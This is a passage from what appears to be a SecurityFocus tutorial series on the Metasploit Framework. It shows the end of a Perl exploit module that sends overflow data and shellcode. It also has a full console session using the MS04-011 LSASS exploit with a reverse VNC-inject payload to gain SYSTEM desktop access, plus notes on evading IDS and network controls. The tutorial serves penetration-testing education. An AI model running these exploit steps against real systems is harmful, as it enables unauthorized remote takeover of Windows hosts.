          #Append return address to 'tosend' RetLength number of times.
          $tosend .= $shellcode;
          #Now append the shellcode.
          #Now we have a complete request including shellcode, ret address and
          #overflow data...we are done!
          $sock->Send($tosend); # say hello to shell
          return;
          }
          1; #you must end your exploit with this.

          This gives a basic overview on how the exploit code is
          structured, what components need to be defined, how to process user
          arguments, and various other aspects related to exploits. Besides the
          standard set of features, there are many advanced options and libraries
          which can be used to develop advanced functionality in exploits. The
          reader would do well to read up on these.

          The raw sockets functionality is very good, with
          support for IP, TCP, UDP and ICMP and with various options -- such as
          packets that can be crafted for multiple sources and destinations, and
          variable settings for a group of packets. Note that this functionality
          is not available on Windows platforms.

          The DCEFragSize parameter can be used to set the
          application fragment size for DCE RPC packets, and can be effectively
          used for bypassing a network access control system. An example
          implementation has been provided in the msrpc_dcom_ms03_026 exploit.

          5. Post-Exploitation Phase

          The central theme of the Metasploit Framework at a recent presentation
          was, "Hacking like in the movies." The reality is that the framework
          really does provide some captivating post-exploitation techniques. Here
          are a few examples.

          The in-process DLL injection allows us to inject and
          run a custom DLL as a separate thread in memory, without even touching
          the physical storage media of the victim's box. This can also be
          blended with any Win32 exploit.

          To add more spice to it, the Framework provides a
          VNC server as a custom DLL, which can be used to control the victim box
          graphically. This injection payload can be used to attain full access
          to the desktop of a remote Windows system, by being loaded as a DLL and
          is started as a new thread. From there it will listen for client
          requests on the same socket as was used to have the payload loaded. The
          client connects by first using a proxy via a local listening socket
          that was opened up by the framework. After two attempts of gaining full
          access to the desktop, the DLL payload will switch over to read-only
          mode, where the user can just view the contents of desktop. The DLL
          payload also spawns a command shell on the desktop with the privileges
          of the exploited process, which is often full Administrator access for
          Windows machines.

          In order to use this feature, the user must first select the exploit payload as win32_bind_vncinject or win32_reverse_vcinject and use a Windows host as the target.

          This will now be demonstrated using the MS04-011 LSASS vulnerability, as shown below:

            msf lsass_ms04_011 > set PAYLOAD win32_reverse_vncinject
            PAYLOAD -> win32_reverse_vncinject
            msf lsass_ms04_011(win32_reverse_vncinject) > set RHOST 192.168.0.111
            RHOST -> 192.168.0.111
            msf lsass_ms04_011(win32_reverse_vncinject) > set NBNAME CUBECS
            NBNAME -> CUBECS
            msf lsass_ms04_011(win32_reverse_vncinject) > set LHOST 192.168.0.50
            LHOST -> 192.168.0.50
            msf lsass_ms04_011(win32_reverse_vncinject) > exploit
            [*] Starting Reverse Handler.
            [*] Detected a Windows 2000 target
            [*] Sending 8 DCE request fragments...
            [*] Sending the final DCE fragment
            [*] Got connection from 192.168.0.111:1146
            [*] Sending Stage (2893 bytes)
            [*] Sleeping before sending dll.
            [*] Uploading dll to memory (348160), Please wait...
            [*] VNC proxy listening on port 5900...
            VNC server supports protocol version 3.3 (viewer 3.3)
            No authentication needed
            Desktop name "VNCShell [SYSTEM@CUBECS] - Full Access"
            Connected to VNC server, using protocol version 3.3
            VNC server default format:
            32 bits per pixel.
            Least significant byte first in each pixel.
            True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
            Using default colormap which is TrueColor. Pixel format:
            32 bits per pixel.
            Least significant byte first in each pixel.
            True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
            Using shared memory PutImage
            Same machine: preferring raw encoding
            ShmCleanup called
            [*] VNC proxy finished
            [*] Exiting Reverse Handler.

            As the screenshot below in Figure 3 shows, with this
            example you get full system GUI access to the remote Windows system
            (CUBECS), from the Linux box.


            Figure 3

            Figure 3

            There are other interesting aspects of the Metasploit
            Framework as well. Many IDS evasion techniques can be successfully
            implemented using the tricks of the trade such as polymorphic
            shellcode, first exit event masking, and multi staged payloads with
            custom exploit options. These options are left to the capable reader to
            explore.

            6. Open Source

            Some readers may be interested in a comparison of the Metasploit Framework with other exploit environments of its kind, such as Core Impact or ImmunitySec Canvas.
            Perhaps an analogy can be made to the market offerings of tools like
            Nessus (open source) and commercial products such as ISS' Internet
            Scanner, where there are advantages and disadvantages to each approach.
            Perhaps the things to evaluate are the available support options, speed
            of exploit development, and numerous other factors that factor in any
            required license cost.

            7. Conclusion

            In concluding this article series, it may be
            pertinent to compare the Metasploit Framework to the mortal Prometheus
            from Greek Mythology. As the story goes, Prometheus was a Titan who
            stole fire from the Gods living on Mount Olympus, and in turn he gave
            it to humankind. With the same analogy, the Metasploit Framework helps
            to extend the enigmatic art of exploitation to many people who might
            not otherwise have this ability. It will surely play a prominent role
            in the future of Internet security and penetration testing.

            References

            About the authors

            Pukhraj Singh is a security researcher at Network
            Intelligence (I) Pvt. Ltd. His areas of interest include working with
            exploits, monitoring honeypots, intrusion analysis and penetration testing.

            K. K. Mookhey is the CTO and Founder of Network
            Intelligence.

            View more articles by K.K. Mookhey on SecurityFocus.


            抱歉!评论已关闭.